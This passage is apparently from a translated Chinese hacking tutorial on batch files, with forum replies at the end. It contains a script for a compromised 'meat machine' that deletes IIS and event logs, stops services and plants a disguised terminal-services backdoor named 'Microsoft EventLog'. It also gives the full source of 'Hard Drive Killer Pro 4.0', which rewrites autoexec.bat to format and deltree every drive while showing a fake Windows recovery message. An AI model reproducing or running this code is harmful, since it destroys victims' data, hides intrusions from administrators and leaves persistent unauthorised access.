@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM

@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM
@regedit /s patch.dll

------------------------ cut here then save as .bat or .cmd file ---------------------------

The commands below clear all logs on the meat machine, disable some dangerous services, and modify the meat machine's terminal service to leave a back route.
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem


@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM

@echo >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo

>>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM

3.Hard Drive Killer Pro Version 4.0 (It really isn't easy to play with batch files to this level.)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.

set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, dont worry about how it
rem works, its d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.

echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem When errorlevel is 1, then the above is not true, if 0, then its true.
rem Opposite of binary rules. If 0, it will elaps to the next command.

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.

echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if its errorlevel 1, then the specified drive is a hard or floppy drive.
rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>drivechk.bat

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

rem Now we will use the program drivechk.bat to attain valid drive information.

:Sampledrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c

:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat

echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat

:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul

cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .

for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). Whats the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Dont you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga

:end

rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here).

No.7
VII. Thanks & some nonsense
I dedicate this article to all friends working to realize freedom and sharing on the network. Thanks to all the friends who shared their work; let's work together for our ideals!!
Part of the content comes from Ex4rchhttp://www.sometips.com（ (a very good one...淙幌缘糜械闼缮?/a>^_^). Many special thanks again!
About Ex4rch: chief bachelor of the Economics Department, Class of 2000, School of Business, XX University, XX City, Jiangsu Province.
I only provide this tutorial and limited technical support. If this tutorial causes the interests of relevant persons or groups to be harmed, I refuse to bear any legal responsibility; all responsibility shall be borne by the parties concerned.
This tutorial retains no copyright. You may freely modify and distribute it, but when you add certain content, please send me a copy too, so I can share your achievements as well. But without my consent this tutorial must not be used for commercial activities. If you absolutely must, please ensure that 85% of the profits are used for public welfare (please contact me and provide relevant proof), otherwise I reserve the right to sue and pursue the relevant legal responsibility of the parties concerned. If reposting is needed, please keep the following information. Thanks!

That really wasn't easy, but I still have to thank you.

Where did you get it from? I'm a newbie!

Hehe～～
I have a copy of this too
I first saw it on a hacker homepage